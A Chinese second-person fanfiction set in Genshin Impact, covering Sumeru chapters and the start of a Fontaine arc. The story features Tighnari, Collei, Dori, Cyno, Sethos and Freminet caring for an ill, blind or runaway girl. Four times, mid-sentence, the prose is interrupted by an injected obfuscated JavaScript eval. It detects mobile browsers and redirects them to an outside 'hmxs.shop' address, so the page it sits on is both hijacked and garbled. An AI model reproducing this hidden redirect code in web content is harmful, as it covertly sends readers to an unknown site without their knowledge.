——在紧张吗?赛索斯。你歪了歪头,难道旁边有长鬓虎在对你们虎视眈眈?可你记得这附近还没到长鬓虎出现的地点。如果真有这种刚踏进来就遇到长鬓虎的情况,巡林员会进行干预的。 还是说有史莱姆大军和蕈兽军团出现了?难道是小吉祥草王带着兰那罗部队来视察了。你小小的脑袋里冒出了许许多多的想法。 “走吧。”你还没来得及挖掘赛索斯这番反应的更多可能性,和他相牵的手就传来了一股不大不小的拉力。 既然赛索斯说了,那就走吧。你乖巧地顺着力道向前走去。 在你没注意到的时候,赛索斯的绿眸与赛诺的红眸对望,赛诺目露调侃地看向自己这位朋友蜜糖肤色也掩不住的脸上的热意。 害羞了啊,赛索斯。 * 月莲,是一种生长在湿地里、会发光的花卉,具有药用价值。 注:只在夜晚绽放。 而现在是白天。不过白天还是夜晚对你而言没差。再说了,只在夜晚绽放不代表只能在夜晚里采摘。虽然有巡林员白天巡逻过了,夜晚的雨林依旧很危险。或者说,因为雨林中存在部分昼伏夜出的生物,夜晚才更加危险。 为了能够治病的药让大家冒着危险在夜晚进入雨林不是提纳里的作风。在白日采摘、稍加养护让它能撑到晚上开花的时候也可以,提前把它炮制也可以、最多就是损耗部分药效。没必要让大家承担不必要的风险。 你跟着赛索斯来到雨林中的湿地处,面前的水泊里几片莲叶状的植物漂浮在水面,大大的蓝色花萼里藏着金色的蕊。旁边的草地上,几只生物在半空中飘来飘去,头上戴着大大的蓝色帽子,煞是可爱。 “拜托了各位,请帮我采集这里的月莲。”挣开赛索斯牵着你的手——不知道为什么,明明牵着的时候没有感觉,挣开的时候却很是费了一番力气——你对着那几只飘来飘去的蓝帽子生物郑重地发出请求。 这种蓝帽子生物,又叫做浮游水蕈兽,是须弥的特有物种,具有一定的智能和强大的环境适应能力。它是雨林里的原住户,也是你的朋友。 听到你的呼唤,漂浮着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16071053|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮游水蕈兽在空中转圈圈,发出愉快的声音。它们几只凑在一起似乎嘀嘀咕咕了什么,接着四散开来,召唤出水泡泡去采集月莲。 其中长得尤为壮实的一只快乐地奔向你的怀抱,它的水泡泡也砸到你的脸上,发出“啵唧”的破裂声。你木着脸一把接住这只大大的浮游水蕈兽,任由它用头顶的大帽子来回蹭你的脸。 不、不对,再蹭就蹭到你的嘴里了!你紧急按住躁动的浮游水蕈兽,伸出手在它肉质的蘑菇触感的大帽子上拍了拍以示安抚。软绵绵又充满弹性,安静下来的浮游水蕈兽如同大号的棉花娃娃,乖巧又可爱。 “不管看了多少次,还是觉得珂缇娅和蕈兽之间的关系很神奇。”一边看着的赛诺发出感叹。 “还好,也就是有这一个救命之恩的关系而已。”你矜持地回应。 - 提到你和浮游水蕈兽的关系,就得谈及那一天。 那天是惯例的带你出游日,柯莱远在教令院一时回不来,提纳里带着你来到雨林,结果忽然被一个急匆匆的巡林员叫走、由于太过匆忙,提纳里只来得及叮嘱你待会儿他就回来,让你不要乱走。 当时的你刚好处在“我能行”、“我超棒”、“我无所不能”的一种迷之自信的状态,聪明的脑瓜子转了转,成功地悟出了提纳里叮嘱中的深意:随便玩,在他回来之前回到这里就行。 你悟了。 悟了的你走路都带着风,汲取了之前掉进坑里的经验,现在的你已经是进化过的珂缇娅了。你,强得可怕!强得可怕的你这次没有掉进坑里,也没有撞到树上,你只是……一时走嗨了走到了死域里。 是隐蔽的死域。你回过神的时候双脚已经踏进了死域的范围,直觉像是在你的神经上跳踢踏舞一样来回的提醒你,等你意识到的时候它已经累趴下了。 你:…… 你知道自己应该离开的,你知道自己最应该做的就是转身、然后离开回去找提纳里。你虽然曾经跟着兰百梨迦锻炼、之后也只是稍微懈怠了一点点,但你当时的目的只是强身健体。你没有学习过如何清除死域。 “照顾好自己,不要给别人添麻烦可以吗?”你听到脑海里有声音这样说:“你只是个瞎子,就这么离开也不会有人怪你的,这不是你该做的事。”你听到自己脑子里的声音好吵好吵。 叽里咕噜的说什么呢。你皱起眉,还带着婴儿肥的脸颊一时之间看上去冷冽至极。 你没有走,一个浑身染着诡异的红黑色雾气的浮游水蕈兽扑到了你的怀里,你接住了它。随后,原本十分暴躁的浮游水蕈兽露出了它清澈的豆豆眼,似乎有什么通过手上的生物传到了你的身体里。 你觉得自己变得更强了。 …… 那个死域最后消失了,提纳里心急如焚地找来时只看到你和怀里的浮游水蕈兽相处得很好。 “珂缇娅,我是怎么跟你说的?”提纳里的声音听上去很平静,你却仿佛看到了一朵朵盛开的黑色百合。 最后,你被灌了一大瓶药汁,每天的课业不知道为什么变得多到只给你留下了吃饭和睡觉的时间。 你感到十分困惑。为什么呢? 30.须弥篇-完 你喝着赛索斯给你带的赤念果汁,赛诺帮你收集被采摘的月莲,怀里手感超好的浮游水蕈兽在乖乖地给你挼。 带着凉意的风吹拂到你的脸上,你惬意地眯起眼睛。毋庸置疑,这就是平静而又美好的一天。当然,如果柯莱姐姐和提纳里都在你身边的话,你想你会更高兴的。不过现在这样也不坏啦。 你能感受到自己被暖洋洋的阳光笼罩。 …… 最后,你们带着采集好的月莲满载而归。 * 自那次带回许多月莲的出游之后,珂缇娅没再出门。黑发的盲眼小女孩平静地把自己困在房间里,每天除了阅读、做手工活就是到客厅里吃饭,似乎在等待着那个悬于她头顶的达摩克里斯之剑坠下的那一刻。 - 好神奇。 尽管眼睛不能视物,你仍目露惊奇地“看”着自己的身体。提纳里先前与你说的话在这一刻得到彻彻底底的证实:醒来后的你遵从提纳里留下的医嘱每天咽下那些药汁,可你的身体依然在一点一点地虚弱下去。 就像是温水煮青蛙。一开始只是觉得比以往更容易疲惫了一点点,可等到回过神来的时候却发现自己已经连抬手的力气都失去了。恍惚之间你觉得自己好像回到了刚到化城郭的那段时光,柯莱姐姐和提纳里之间总有一个陪在你身边。 是看着你忽然死掉还是看着你慢慢地离开这个世界比较好?这个问题的答案你不知道。都是分别,只是告别的方式不同罢了。悲伤的底色注定这个问题怎么回答都会伴有眼泪。 “珂缇娅是个坏孩子。”你这么想。 明明说过自己已经能够接受自己的死亡了,晚上却还是会躲在被窝里悄悄地掉眼泪;明明说过希望柯莱姐姐和提纳里能够释怀的,可还是会为柯莱姐姐每天抚上自己脸庞的温暖的手、提纳里坚定地说一定会有办法的话语,为他们行动中流露出来的对你的在意而窃喜;明明说过有没有考上梨多梵谛学院都无所谓、你会坚持追求自己的星空路的,还是会为自己不知道考试结果而感到可惜。 不是不想活,只是柯莱姐姐和提纳里都已经很努力了,你不愿意再给他们加负担,你不愿意成为压死骆驼的最后一根稻草。人心是可以很坚硬也可以很脆弱的东西,这个事情你从小就知道。 会不会哪天闭上眼,就再也醒不过来了呢?你这么想着,把脸埋进了枕头。 夜深人静,不会有人看到枕头上洇开的水渍。 * “提纳里师父……”柯莱跟在提纳里的身边,清秀的脸上是低落的神情,她似乎想要说什么,最终说出口的只是一声呼唤。 真的、真的会有办法吗?柯莱想要相信,如果这件事是关乎她自己的,她会毫不犹豫地相信提纳里师父说的话,但现在是关乎珂缇娅的。理智让柯莱相信提纳里的判断,感情却让柯莱一次又一次地回想珂缇娅红肿的眼睛。 真是个笨蛋啊,柯莱在心里充满怜爱地对珂缇娅做出这样的点评。嘴上再怎么安慰他们、再怎么做出自己无所谓的表现,第二天红肿的眼睛和发哑的嗓音都把这个小女孩的心绪暴露无遗。柯莱想要去安慰这样的珂缇娅,却又知道珂缇娅不希望被别人看到这样的自己。所以,一片漆黑的夜里,柯莱没有走过去。 柯莱想要见到开开心心没有顾虑的珂缇娅,柯莱想要见到健健康康的珂缇娅。如果时间允许的话,柯莱还想要把珂缇娅带到蒙德、带到安柏的面前,跟安柏煞有其事地介绍:嗯,这是我养的珂缇娅。你看我把她养的可好了。然后再害羞又高兴地听着安柏对她和珂缇娅的热情夸夸。 柯莱想和珂缇娅有很多很多个以后。 提纳里看向柯莱,双手叉起腰,他知道柯莱只是担心珂缇娅,因为太过在意以至于再怎么确认仍觉不够。不过提纳里觉得,他似乎应该去看一些因论派的书籍了。 正要说点什么,提纳里的耳朵忽然一抖:“来了。”说着,提纳里平静的目光看向门口。 来了,什么来了?柯莱若有所觉,和提纳里一起看向门口。 粉发金眼头上戴着紫色帽子的小个子女孩映入眼帘,柯莱看到了一个并不陌生的人,是多莉,也是那位“桑歌玛哈巴依老爷”。 是须弥知名建筑卡萨扎莱宫的拥有者、数一数二的大商人,是曾经用果汁诱惑得柯莱差点搭进去生活费的人,也是以一己之力促成须弥免费医疗的人。 “哎呀呀,整天垮着脸可是会赶跑能赚到数不尽的摩拉的好运气的。”应邀而来的多莉推了推自己的彩色墨镜,依然是一副奸商做派:“只要出得起摩拉,桑歌玛哈巴依老爷可是什么都弄得到的。”这个小个子的女孩意有所指。 “好了多莉,你说你已经拿到我要求的东西了是吗。”没有过多的寒暄,提纳里直奔主题。想要在须弥找到某些稀罕之物的话,这位白手起家的大商人手里至少会有相关的线索。当然,提纳里不会因为找了多莉就没有在其他地方花心思,他展露出来的态度很明显:他想要这些东西,多高的价格都可以谈。 多莉不会放过这样的机会,不提她找来了这些东西提纳里或多或少都要欠她个人情——可别小看这种东西,一个大商人的生意能够做的长久可不止有摩拉——多莉更多的只是不会放过能赚到的任何一笔摩拉。 “能赚为什么不赚?摩拉就在那里。”被采访已经这么有钱了为什么还是对工作这么上心时,多莉理直气壮地回复。 不过这次提纳里要的东西确实有点难找啊,饶是她也颇费了一番功夫。如果不是知道……多莉藏在墨镜下的眼睛里闪过一丝意味不明的光,拍了拍手让人把东西送进来:是一个小匣子,还有一块通体赤黄的大石头、说是石头其实更像是石棺,高度甚至需要放平了才能进门。 提纳里接过匣子,打开一看,看到了一朵漆黑的无根花朵,花形如同中空的四叶草,中间是被浅白花瓣拥簇的淡黄花蕊。虽然颜色不太对劲,提纳里还是一眼认出了这是毗波那,传闻中没有种子的花卉。 “……这朵花是我得到消息后某天忽然出现在我的房间里的,把我都吓了一跳……而这块石头是从沙漠里弄来的,听说是和赤王有关的宝贝呢……”多莉热情地介绍,不管怎样,做了一分的活就得说出十分的辛苦来,这样才能卖得上高价,这位大商人深谙此道。 提纳里没在听多莉滔滔不绝的介绍,他的视线停留在手里的毗波那上,像是在看着这株花,又像在透过它看着什么。 - ……太好了,珂缇娅,你看,他就说了你能活下来的。提纳里想,那个瞬间,他的眼里似乎浮动了水光。 作为大家长,就得在大家都惊慌失措的时候发挥主心骨的作用才行啊。哪怕自己同样知道失败也是一种存在的可能性,但他表现出来的必须是信心满满的样子才可以,虽然好像没有把自己的情绪遮掩的很好,还被珂缇娅给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16081665|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰了…… 不过现在,这些都不重要了。等珂缇娅彻底好了就把梨多梵谛学院的录取通知书交给她吧,提纳里露出笑容,她也一定期待很久了。 原本是打算等珂缇娅醒了就把通知书给她的,只是看着珂缇娅苍白的脸,他又忍不住地想:珂缇娅真的能够接受吗?接受这个羸弱的只能等待死亡的自己。如果没有被教令院录取算是一个遗憾,被录取了却没办法去会不会是更大的遗憾?起码前者的话之前还打过预防针。 鬼使神差地,提纳里把这件事瞒了下来。嘛嘛,看在结果是好的份上,就原谅他这一次吧。 * 避免夜长梦多,柯莱和提纳里拿到东西的当晚就立刻给你用上了。 你懵懵懂懂地不知道发生了什么,一只手和柯莱姐姐握着,另一只手却被划破了皮肤,像是植物的茎一样的东西挤进了你的血肉里。你皱起眉,强忍住那种不适感。慢慢地,你感觉有什么东西被导出了你的身体,你像是变得轻飘飘的。 又过了一会儿,你都忍不住暗暗怀疑自己是不是已经变成了一张纸片了,又开始有某种能量传递到你的身体里,仿佛整个人被摊开在太阳下面晒,通体暖洋洋的。 好舒服……好想睡觉噢……一阵突如其来的疲倦袭上心头,你渐渐闭上了双眼,原本和柯莱相握的手也慢慢松开。 …… 你睡着了。睡颜依然恬静,却不再是那副破碎的模样。 - 眼前发生的一幕或许让不知情的人看了会吓一跳:这么小小的一个人身体里,究竟是怎么藏下的这么多黑雾呢? 黑雾被手腕上的毗波那抽出,通向了那块赤黄色的玉石,染黑了一大半。小女孩手腕上的伤口处还淌着鲜血,皮肉绽开,很是狰狞。提纳里和柯莱对视,没有开口说话以免惊扰到此时昏昏欲睡的珂缇娅。 在对视间,提纳里让柯莱好好安抚珂缇娅,并观察有没有什么意外发生。而他要去准备好纱布,好在一切结束后给珂缇娅包扎伤口。柯莱没有反对。 好在,这个过程出乎意料地顺利,如同有神明暗中保佑一般。 珂缇娅,今天太晚了就不叫醒你啦,明天见。柯莱想着,在熟睡的小女孩额头上落下虔诚的吻。 ……真是太好了。 * “珂缇娅,你被梨多梵谛学院录取了噢!”一大早醒来,你听到柯莱姐姐这样对你说,声音里是再直白不过的喜悦:“我们要好好庆祝一番才行!决定了,今天吃大餐吧!”三言两语间,柯莱给今天下了决定。 欸……你被录取了?刚起床的你还有点困倦,听到柯莱的话眨了眨眼,好半晌才反应过来,“好耶!”你一把抱住了柯莱:“我要吃帕蒂沙兰布丁,很久没有吃过了!” “吃大餐可以,但不要一下子吃太多东西知道吗,珂缇娅?还有柯莱,你也是。”一旁的提纳里对你们对你们的话语做出回应。 是平淡又温馨的、还有很多很多个的一天。 - “桑歌玛哈巴依老爷,这次这么大的单子,你收到了多少摩拉哇?”有好事的小弟这么问多莉,听到问题的多莉只是抛了一枚金币给自己身边的灯灵没有回答。 “多少摩拉”?珂缇娅后半辈子都要给她打工啦。 ……桑歌玛哈巴依老爷只是不想在看到有人因为病痛而死,才不是同情可怜珂缇娅呢。精打细算的多莉这么想。 31.须弥篇-if线 ……好难过,好想哭。 为什么你找不到自己的爸爸妈妈在哪里?为什么你忽然什么都看不见?在一片漆黑的世界里,你有好多好多的问题想问,却不知道要把这些问题对谁说出口。 你好害怕。你会再也看不到爸爸妈妈了吗。 泪水在眼眶中打转。 - 在你满心都是难过的时候,你被人带走了。 忽然有人扣住你纤细的手腕把你拉过去,脸上还流淌着泪水的你抬起头恶狠狠地“看”着那股拉力传来的方向。他会把你拉去哪里?你会成为这偌大须弥的又一具尸体吗,听说有的野兽最喜欢吃小孩子细嫩的皮肉了。 你想要反抗,你想要去找你的爸爸妈妈,但你只是一个没有经受过训练的小孩子,你只是一个过去被爸爸妈妈宠爱的小孩子,你的反抗在别人眼里不值一提。 你踉踉跄跄地被带到了所谓“明论派贤者”的人面前。 “你的父母已经死了,从今天开始我会收留你的。”你被这样一句话甩到脸上,大脑一片空白,又被匆匆地带下去,似乎有谁在附和着说:“贤者大人您真是好心啊。”又得到了一声冷哼的回应:“我只是看在她父亲的面子上。” 你的父母是怎么死的?为什么是这个陌生人说要收留你?反应过来的你脑子里有很多问题,这些问题就像是水里的泡泡一样接二连三地升上来。你想知道这些问题的答案,但哪怕你问出口了,被那个“贤者”命令照顾你的人也只会捂住你的嘴跟你说不能这样称呼贤者大人,说你要尊敬贤者大人。 恍惚之间,你觉得自己变成了小时候玩过的布娃娃,被人提起随意摆弄成各种姿势。你有很多问题,你想,但你可能永远也不会知道这些问题的答案了。 你只是一个小孩子,你的怒火在别人眼里是绵驮兽的温驯,你的问题被视作小孩子的一时兴起。“等你长大就知道了。”他们用这样的话语心安理得地把你的所有问题都搪塞过去。 你不知道这位“贤者大人”和你的父亲之间有什么关系,你不知道他不是你父亲的朋友,也不知道他只是单方面的和你父亲起了竞争心理,成为自诩的“学术上的死对头”。 你现实的眼睛已经看不见了,你身边的人却像是要把你心灵的眼睛也一并用白布蒙上。 * 谁会看到珂缇娅呢?你支着脸撑在窗前想。除了你的爸爸妈妈,谁都不会看到“珂缇娅”。 在别人的眼里,你是个走了大运的小孩,父母刚死就能搭上明论派贤者的船。人家贤者大人都愿意供你吃供你喝给你花钱了,你还有什么不满意的?你试图向其他人求助的时候,得到了这样的指责。 没什么不好的吧?你这样安慰自己,没什么不好的,你衣食无忧还能去教令院上学呢。你自嘲地提起嘴角,可是你一直听到自己的心在哭。 前段时间,你名义上的监护人、明论派尊贵的贤者大人和你就你的学业选择方向进行了一番谈话。 “我……我想去梨多梵谛学院。”对着你的监护人,你抿唇说出自己的想法。“你眼睛都看不见了还怎么观星?”他的声音不容置疑:“还是去室罗婆耽学院吧,知论派的语言学也许很适合你。” “……是。”也许你的回答并不重要。 - 你想要探索星空,但是他们说一个瞎子拿什么来看星星呢?你不想去知论派,但是他们说你会很适合这个学派的,主要就是理论和语言,很简单的。“你的父母都是天才,你也会是天才的。”他们这么说。 可惜,你让这么想的人都失望了。 你在这方面的学习一塌糊涂。学了又忘、忘了又学,来来回回还在原地打转。他们不死心地猜想是不是你在偷懒?不然不应该会是这样的结果。很遗憾,他们对你进行了细致的观察,发现你确实很认真地学,你只是实在没有天赋。 面对这样的结论,你的监护人发出一声叹息:“……算了,看在你是那个人的女儿的份上,我会继续养着你的。”他这样总结,仍然让你继续在知论派深耕:“能学成什么样就学成什么样吧,不指望你。” 你没有回应,脸色苍白。 ……迟早,你迟早会离开这里的,你这样对自己说。你会回到自己和爸爸妈妈以前的家里,你会把这位“贤者大人”在你身上的花费都还回去,你会证明你不是别人所说的笨蛋。 你不会留在这样永远把你视作某人的女儿而不会把你看作独立个体的地方。 * 第一步出乎意料地顺利、不,或许你这么做恰好符合你的监护人对你“某人的女儿”的标签?你不愿意在这件事上过多思考。只要离开就好了吧。 你回到了以前的家。推开尘封已久的大门,你被扬起的灰尘呛得俯下腰连连咳嗽。稍缓过来之后,你开始进行清洁。 哪怕很久没有回来,你依然熟悉这里的每一寸。如履平地般,你来回走动,为这座沉寂了许久的房子添了几分人气。嗯?为什么看不见了还能走得这么自然?摔得多了就会了。一开始的你把自己摔得灰头土脸的,不会有人扶你,你自己摸索着爬起来。流血的情况也不是没有。 ……反正,没死就行。看,你现在好好的。 - 你在语言方面确实实在没有天赋,但你在其他方面倒挺有天赋的,比如说你的动手能力。在一些简单的活计上,你甚至比那些能视物的人都要利索。 “嗯嗯,要来给我干活吗?包吃住哦。”那天,你甩开了那些看管你的人,走在路上忽然听到有人这么跟你说。 你的心情本来并不算好。被逼着学自己根本不感兴趣的东西,任谁都不会有好心情。你悄悄从教令院跑路的时候还被人拉住了:“那、那个,我是明论派的莱依拉……”从声音能听出来,这位自称“莱依拉”的人对你没有恶意。于是你冷淡又礼貌地回拒了对方。 是想玩所谓的朋友游戏吗,抱歉,现在的你没有这种兴趣。有的时候你都觉得自己像坏掉了一样,仿佛有什么破裂了,正汩汩地往外流着血。这样的你没必要和别人太过亲近,你怕自己会忍不住对别人迁怒。 向无辜的人宣泄自己的负面情绪这种行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16092126|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,太丑陋了。你绝对、绝对不会让自己沦为这样的人。所以,只要不和别人接触就好了,这样你就不会对别人抱有不必要的幻想,对大家都好。 如今的你,已经没有办法回应别人的期待了。 没有天赋的、提线木偶般的你。 你边走边难过,就听见有人问你要不要给她干活。你的耳朵动了动。 你没有忘记自己想要赚摩拉然后还给你名义上的监护人的想法。虽然你的爸爸妈妈确实有给你留下一大笔遗产,但是不到万不得已的情况你不想动用这些。对你而言,这是他们留给你的最后的东西了。 最后,你同意了这位“桑歌玛哈巴依老爷”对你的邀请,也从中发掘出了你新的天赋。 …… 一切似乎都在正轨上。 * 不知道什么时候开始,你开始变得容易感到困倦,接着慢慢演变成时不时地陷入昏迷。你对此其实还好,反倒是多莉、也就是那位“桑歌玛哈巴依老爷”很是上心。 为什么要对你这么好呢?你不理解。正如多莉自己所说,她永远不会停止追逐摩拉的步伐。那么,为什么还要在你这里浪费时间呢。你抱住多莉小小的身体问她,只得到了对方恼羞的叫喊:“你管那么多呢?桑歌玛哈巴依老爷乐意!” 你知道的,你不算聪明,你所拥有的也只有自己。年少时在知论派的相关学习中一次次地栽坑终究是让你对自己产生了怀疑:你活着的意义是什么呢?是为了铭记与遗忘吗,你不知道。 “在我身上投资的话,你有可能会血本无归哦。”尽管眼睛看不见,你抬起眼对多莉说。人的行为是有意识的,或是为了利益,或是为了感情,或是为了宣泄。你听说过桑歌玛哈巴依老爷的名声,也亲身和多莉接触过。或许是你徒留的善意?你不希望对方付出了却得不到回报。 没有必要在你身上浪费时间和摩拉,你想,你能感受到自己的生命在一点点地枯萎,“多莉,我已经活得够久啦。”年满十八的你皱起鼻子对还是小小的友人抱怨,轻描淡写地回应了对方“我一定可以找到办法让你活下去的——”的话语。 你已经还清了先前明论派贤者在你身上的花费,大概吧。多的算送他的,少的算他倒霉好了。你躺在床上不负责任地想。反正你都要死了。 好冷啊。爸爸妈妈,你好想他们啊。 又一次闭眼,你没再醒来。 - 多莉,卡萨扎莱宫之主,人称“桑歌玛哈巴依老爷”,在自己的姐姐因病痛离开了她之后,她的一位朋友也因病痛永远地离开了她。没能留下姐姐是因为没有足够的摩拉,没能留下珂缇娅却是因为珂缇娅自己不想活。 太过分了,珂缇娅是坏蛋,多莉流着眼泪想,下辈子要罚她当桑歌玛哈巴依老爷的仆从才行。 * 淡蓝色长卷发的莱依拉来到珂缇娅的身边,为她献上了一束花。“下辈子,我们再当好朋友吧。”这位曾被珂缇娅狠狠拒绝的金眸少女平静地说,目光眷恋地描摹珂缇娅的轮廓。 珂缇娅,晚安。 32.枫丹篇-1 你要离开这里。你垂下眼帘想到,你不会让自己变成父母手中的商品,不会让自己沦落到那样的地步。 可惜了,你原本以为你能和自己的父母和谐相处的。虽然他们没有多爱你,但好在你也没有多爱他们。你是不被父母所期待的孩子,这一点你早就知道。没关系,他们想要一个保姆、仆从,你想要自己活下来,你们完全可以等价交换不是吗。 看在等价交换的份上,看在你有自己的房间和三餐的份上,你对他们没有过多的期待,哪怕你年幼的时候发了一场高烧把嗓子烧哑了你也觉得没什么,正好有足够充分的理由不和其他人进行无谓的交流了。 但是想要把你卖掉,你不同意。所以,是时候离开了,就是这个时间比你预想的早了点。想到这里,年仅七岁的你眨了眨那双漆黑的眼睛。 可是,离开了这里,你还能去哪里呢?这个问题你还没有想好。在你的预期之中,你本来应该是十二岁再独立出去的。到时你可以试着考进沫芒宫?去枫丹科学院当研究员?都可以尝试,但得等你再大一点才行。 啊……决定了,直接走吧,反正死不了就还能活,走到哪算哪好了。几个呼吸间,你做好了打算。 取来纸和笔,你在纸上写下你离开的通知,尽管没有接受过正统的学习,你还是从家里的书籍中学会了文字和语言。你知道你的父母对你本身没有多少留恋,或许他们会更喜欢那个你从未谋面的弟弟/妹妹多一点?毕竟,你在他们的眼里就是个“没用的哑巴”,生怕你把那个新的孩子也带歪了。 没关系,你已经决定离开了,他们的事再也与你无关。你也不用再苦恼被他们拿来当情绪垃圾桶之后该往他们的饭菜里倒枫达还是加咖啡了。 大概这就是人们所说的,“一别两宽,各自安好”?你这样想,把离开通知用杯子压在桌案上后步履从容地趁着父母工作的时间走出了这栋房子。 今天的天气很好,没有阳光也没有下雨。正是离别的好时候。 离开家去流浪是一种什么感觉?没什么感觉,你只是出了一趟门,然后不再回去而已。 * 你看向一望无际的天空,白云悠悠地挂在碧蓝的画布上,带着海水气息的风吹拂着你鲜红的头发。 枫丹是水的国度,四处见海是很正常的事情。可总有人嫌弃自己靠海的家乡,一心想往中枢的枫丹廷里挤。他们自己做梦你是不管的,但想把你拿来当他们圆梦的素材你就不能不管了。 让他们放弃他们的枫丹廷梦就和你束手就擒乖乖成为他们的商品一样,都很不切实际。 你脱下鞋子走向海岸,一丛一丛雪白的浪花簇拥你的脚踝。你半蹲下身子端详着水中倒映出的浮动着的你的脸庞,百思不得其解:你又不是什么绝世美人,也没有上过学,在别人包括你那对父母的眼里你就是个普通的好使唤的哑巴,为什么他们会觉得把你送出去就能解决他们的问题? 他们是怎么确信你这件“商品”不会砸在手里的?“商品”的接手人又是出于什么目的接受的?你思考了片刻,由于所知的信息太少,你没有得到答案。 算了,不出奇,你敛眸,有的时候人和人之间的差距比人和狗之间的差距都大,你不能理解他们的想法倒也正常,本来就是不同的个体,都有着不同的想法。那么,看完了海,你该离开了。 你会在日落之前找到合适的落脚点的。转过身,迈开腿的你脚心忽然踢到了一块圆润的石头上,由于动作的变动导致你的重心发生变换,你瞪大了眼睛,时间刹那间变得很漫长又很短暂,等你回过神来,你已经直直地向后倒去,“扑通”好大的一声栽到海里,溅起了高高的水花。 人与海的关系是什么?是人根据海来摸索、来总结,是人去适应海而不是海来适应人的期待。直白来说就是,你站在岸边以为自己摔下去也只是摔到岸边的想法落空了哦。 事实上,你如同沉甸甸的铁块落水一般坠入了深海。 - 视网膜还残留着栽进海里之前蓝天的影像,然后逐渐被一层层的水笼罩。口鼻里也呛进了水,你往下落,依稀看到自己口中冒出的气泡在往上浮。 你不知道自己咽下了多少的海水,嘴巴里一股苦涩的咸味。你尝试摆动手脚扑腾,结果来看没有对下沉的现状造成丝毫的动摇。生在枫丹没有想过自己会这样落水的你没有学过游泳,你只是觉得自己肺里供给呼吸的氧气越来越稀薄。 你很难受,水下向上望去的眼睛只看到了大片黑影。 你要就这样死去了吗,在你离开那个待了七年的房子还没到一天的情况下?好像也行,起码不是以“商品”的身份死去。这样想着,你闭上了眼。 落海的时候你下意识地想要呼救,可你已经什么都说不出来了。你只是一个刚满七岁的小女孩,虽不至于克扣你的伙食,但你的父母也不会专门想着给你补营养,你小小的身体对大海来说就像是沧海中的一粒粟,鲜红的头发在足够深的水下散开也不会显眼。 唔……不知道你的尸体会不会被海里的大鱼吃掉,希望大鱼能等你断气了再吃你,不然你还是会疼的……现在想这些好像也没什么意义了……意识模糊的你逐渐闭上双眼。 * 菲米尼,一个外人眼中腼腆内向的少年,此时正在海底潜游中。 潜入海底是菲米尼的习惯,比起喧哗热闹的陆地,寂静的海里更让他安心。 好的,这次出来够久了,是时候回去了。带着潜水头盔、穿着潜水服的菲米尼轻呼出一口气,正准备向上游,就看到了一抹红色。那是一个没有做出任何动作的小孩子,那头披散开的红发如同滴入海里的血液,鲜红的刺眼。 ……要管吗。菲米尼抿住唇,一想到自己把这个小孩带上去可能会有的一连串后续,他就忍不住心生抵触。……可是,万一这个孩子已经死掉了,她的家人还是会希望能看到尸体的吧? ……家人是很重要的、不可以放弃的存在。 - 菲米尼还是向那个红发小女孩游去,把她带出了水面。 回到岸上后,浑身湿淋淋的小女孩那头红发都湿哒哒地黏在一起,身上不断往下淌着水滴。 不知道算不算是好的消息,小女孩的胸口还有起伏。在吐出几口海水之后,这个被救上来的小女孩睁开了她漆黑的眼睛。 那是一双漆黑到几近无神的眼睛,仿佛把同样漆黑的夜色也一并收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16104912|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敛在眼中。菲米尼不喜欢这双眼睛看着他的感觉。……但这只是一个小孩子,应该不会是有人特意派来针对他的,比起魔术师的哥哥姐姐,他显得太过没有存在感。 不自觉地抬起手,菲米尼碰到了自己的潜水头盔。还好还好,头盔还在。像是从头盔中得到了和人对话的勇气,菲米尼就这样蹲下身子,透过潜水头盔的视物区看着这个小女孩:“你该回家了。”他闷闷的声音传了出来。 在菲米尼的设想中,这个小女孩可能会因为落水而哭出来然后跑回家,也可能会对着他磕磕绊绊地道谢然后跑回家,但是这些反应都没有,她只是静静地用那双没有感情的眼睛看着菲米尼。 菲米尼不喜欢现在这种僵持得似乎空气都要凝滞的局面。 他深深地吸了一口气又缓缓地呼出,通过这样的动作让自己平静下来:“……那我先走了。”菲米尼决定离开。 